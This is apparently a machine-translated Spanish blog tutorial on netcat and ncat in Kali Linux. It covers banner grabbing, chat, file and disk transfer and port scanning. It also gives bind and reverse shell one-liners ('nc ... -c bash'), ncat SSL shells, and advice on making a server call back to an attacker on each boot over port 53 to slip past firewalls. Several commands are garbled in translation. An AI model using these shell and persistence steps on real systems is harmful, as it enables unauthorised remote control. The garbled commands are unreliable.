Kail tutorial (7)-herramientas básicas (nc, ncat)

Herramientas comunes

De uso frecuente y potente, un ayudante indispensable para los profesionales de la seguridad.

Nc / ncat

Es una navaja suiza en herramientas de red. Características: tamaño pequeño y funciones potentes.
Multiplataforma, hay ventanas y Linux.
Cosas que puedes hacer:

  • telnet / Obtener información de banner: NC es más fuerte que telnet
  • Transmitir información de texto: Ejemplo: se puede usar como herramienta de chat
  • Transferir archivos / directorios
  • Archivo de transmisión cifrado: el archivo de texto de transmisión predeterminado no está cifrado
  • Control remoto / troyano
  • Cifrar todo el tráfico
  • Servidor de transmisión
  • Disco duro de clonación remota
1.NC —— telnet / banner

1. Puede hacer telnet al puerto de destino y enviar algunos comandos para conectarse al servicio de la otra parte.
nc se puede usar como cliente o servidor. Como cliente, puede conectarse a los puertos de servicio de otros servidores para detectar comandos enviados por los puertos de servicio.

 常用语法: nc -nv ip 端口
  -eg:nc -nv 1.1.1.1 80

nc -h  #可以查看参数的使用

Inserte la descripción de la imagen aquí

-v: muestra la salida de conexión detallada
-n: seguido de la dirección IP, si seguido del nombre de dominio, el parámetro -n no realizará la resolución del nombre de dominio. Por lo tanto, no se recomienda hablar con el nombre de dominio.

Ejemplo 1: 163 servidor

Como cliente, conéctese al buzón pop3.163.com
1. Resolución del nombre de dominio, obtenga la dirección IP
Inserte la descripción de la imagen aquí
2. Ejecute el comando
pop3 es el puerto 110, por lo que el comando es:

nc -vn 123.126.97.79 110

Inserte la descripción de la imagen aquí
Información de análisis:
las instrucciones de ejecución pueden reflejar la primera función de nc: después de conectarse al puerto del servidor, verá cierta información de banner relacionada con el servidor. A través de la conexión, puede encontrar que el puerto 110 en la dirección del servidor está abierto y devuelve "Bienvenido a ...". A través de esta línea de análisis de información, podemos saber que el servidor de correo 163 utiliza coremail, el servicio de correo implementado por coremail.

Inserte la descripción de la imagen aquí
Información de análisis:
devolverá una información de banner del servidor de 163smtp, una puerta de enlace especial contra correo no deseado del sistema coremail.


Ejemplo 2: servidor http

Inserte la descripción de la imagen aquí

2.NC —— Transmitir información de texto

Por ejemplo: dos servidores están chateando.
Si necesita dos servidores para interactuar, necesita uno de los servidores para abrir el puerto para escuchar. Otro servidor actúa como un cliente para conectarse a ese puerto.
A: nc -l -p número de puerto
B: nc -nv puerto ip La
Inserte la descripción de la imagen aquí
conexión se termina en un extremo y ambos lados se terminan al mismo tiempo.


Apto para forenses electrónicos remotos.

Existe un principio de análisis forense electrónico: si se sospecha que una computadora es un problema, se debe auditar para minimizar o no modificar el contenido de los archivos en la computadora para evitar destruir la evidencia que se puede recopilar.
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
-q: Salga del comando para desconectarse después de un cierto retraso de tiempo después de ejecutar el comando. Si la conexión no se desconecta automáticamente, no se sabe si el comando se ha completado.

3.NC —— control remoto

Solo puede reemplazar ssh hasta cierto punto para lograr el control remoto, pero no se puede reemplazar por completo.
Puede realizar un control bidireccional.
Similar se puede entender como control remoto de escritorio QQ.
** Nota: ** Controle Windows a través de Kail, puede instalar nc en Windows, los usuarios de Windows cambian bash a cmd en el comando.

Adelante

El cliente obtiene el permiso de shell del servidor.

#服务端:
A:nc -lp 端口 -c bash  #一旦别人用nc连接我,我会将bash shell通过nc的建立传给对方。
#客户端
B:nc -nv 服务端ip 端口

Inserte la descripción de la imagen aquí
Los archivos enumerados a la izquierda B ls son el contenido de la máquina virtual A a la derecha, lo que equivale al control remoto de la máquina virtual A. La máquina virtual B ha obtenido permisos de shell para la máquina virtual A.

Reverso

El servidor obtiene el permiso de shell del cliente.

#服务器
A:nc -lp 端口
#客户端
B:nc -vn 服务器ip  端口 -c bash

Inserte la descripción de la imagen aquí
B ingresa ls, pwd y otros comandos en el estado de conexión nc, y no sucede nada. A ingresa la información de B obtenida por estas instrucciones. En este momento, A ha obtenido los permisos de shell de B.

En circunstancias normales: suponga que B es un servidor que se coloca en la sala de computadoras de IDC para ejecutar servicios. Por lo general, se coloca un firewall en el límite de la sala de computadoras de IDC. El firewall no abrirá puertos muy extraños y lo asignará a la máquina virtual de A y permitirá que personas externas Se conecta y el servidor en la sala de computadoras IDC filtrará el tráfico de acceso restante desde el exterior hacia el interior, excepto los puertos abiertos, y el tráfico se bloqueará en el firewall de la frontera.
Para los administradores de red junior: no
es práctico utilizar una conexión directa en este momento. En este momento, se puede utilizar una conexión inversa. El atacante A utilizado por el probador de penetración abre el puerto para escuchar activamente y pasa el script de inicio del servicio en B. Cada vez que se reinicia el sistema B, se conectará activamente a la dirección IP del atacante A. Después de la conexión, B entregará activamente su shell al atacante A. Esta situación será más fácil de lograr. Porque el administrador de red no restringe el control de flujo de adentro hacia afuera.
Para administradores de red con mejor conocimiento de la seguridad:
también puede haber situaciones en las que prohibirá la mayor parte del tráfico de adentro hacia afuera. Sin embargo, B debe tener ciertos puertos abiertos, por ejemplo, si el puerto 53 está abierto, entonces A puede abrir el puerto 53 para escuchar en el puerto 53, de modo que el firewall de borde no filtre este comportamiento de acceso.
Para un administrador de red
que es muy bueno en seguridad, puede ser un servidor en el grupo de servidores de intranet para servir como su propio servidor DNF. Es realmente difícil superarlo.

4.NC —— NCAT

Todas las funciones de nc pueden ser realizadas por ncat.
Desventajas de NC:

  • Todo el tráfico de datos transmitido por el NC no está cifrado y carece de capacidades de cifrado. Fácil de oler.
  • Abra el puerto y será utilizado por otros. La falta de capacidades de verificación de identidad, no puede juzgar la identidad de los usuarios.

NCAT es para compensar estas deficiencias, está incluido en el kit de herramientas nmap, es uno de los conjuntos de herramientas nmap.


Un ejemplo

Use ncat para lograr el cifrado de canalización. Independientemente de si los datos que contiene son texto sin formato o lo que sea, los datos que se ven cuando alguien toma el paquete están encriptados porque la tubería está encriptada.

#服务端
ncat -c bash --allow 客户端ip  -vnl 端口  --ssl
#服务端
ncat -v 服务端ip  端口 --ssl

Inserte la descripción de la imagen aquí
La información de huellas digitales de SSL es diferente cada vez que se establece la conexión.


Inserte la descripción de la imagen aquí
La máquina virtual correcta solo permite que la máquina virtual con ip 118 se conecte, pero en este momento la ip de la máquina virtual izquierda es 119, informará errores de entrada y salida, la máquina virtual correcta se ha autenticado y le indicará que no se permite la conexión.

Cabe señalar que la función de parámetro nc de diferentes plataformas es diferente en diferentes versiones.

4.NC —— Transferir archivos / directorios

Transferir archivos:

#接收端打开端口
A:nc -lp 侦听端口 >文件名  #>,输出;侦听该端口侦听到的内容输出到文件名中
#发送端
B:nc -nv ip 端口< 文件名 -q 1  #<,将要传递的文件、文件名输入到nc的连接远端的端口里#传输端打开端口
A:nc  -lp 端口 < 文件名 -q 1
#接收端
B: nc -nv ip 端口> 文件名

Uno es abrir el puerto y esperar a que otros transfieran archivos, y el otro es abrir el puerto y esperar a que otros acepten archivos.


Transferir catálogo

A:tar -cvf -  要打包的文件/ | nv -lp 端口 -q 1 #将打包的文件的输入作为后面文件的输出
B: nc -nv ip 端口 | tar -xvf -  #对收到的文件解包

Transferencia de archivos cifrados

#接收端开放端口
A:nc -lp 端口|mcrypt --flush -Fbqd -a rijndael-256-m ecb >文件名  #侦听端口,将收到的文件解密输出
B: mcrypt --flush -Fbq -a rijndael-256-m ecb < 文件名 |nc -nv 接收端ip 端口 -q 1 #将文件加密输出

Inserte la descripción de la imagen aquí
Él no es la función de cifrado de nc en sí, sino el cifrado utilizando el comando mcrypt del sistema operativo.
El comando de correo predeterminado no está instalado en kail, debe instalarlo usted mismo.

apt-get install mcrypt #安装mcrypt命令
5.NC —— Servicio de transmisión de medios
A:cat 文件名 | nc -lp 侦听端口 #以流的形式输出到B端
B:nc -nv ip 端口 | mplayer -vo xll -cache 3000 -  #将流的内容给媒体播放器,接收一点播放一点,默认缓存大小是3000

El comando mplayer no está instalado de manera predeterminada y debe instalarse.
El contenido del archivo guardado no se generará localmente.

6.NC —— Escaneo de puertos
nc -nvz ip 1-65535(可以改变端口区间)
nc -nvzu ip 1-65535(可以改变端口区间)

Por defecto, nc usa el protocolo tcp, por lo que si se detecta el puerto tcp. Si desea detectar el puerto udp, puede usar el segundo comando.
La información escaneada por cada escáner no es necesariamente precisa. Se recomienda utilizar varios métodos para escanear, de modo que los datos obtenidos sean relativamente precisos.

7.NC-Disco duro de clonación remota

Para el análisis forense electrónico remoto, el disco duro del servidor de destino se puede copiar de forma remota o se puede copiar la memoria.

#接收端开放端口
A:nc -lp 开放端口 | dd -of=/dev/sda
B:dd if=/dev/sda |nc -nv ip 端口 -q 1
28 artículos originales publicados · Me gusta0 · Visitas 900

Supongo que te gusta

Origin blog.csdn.net/weixin_43876557/article/details/104522343
Recomendado
Clasificación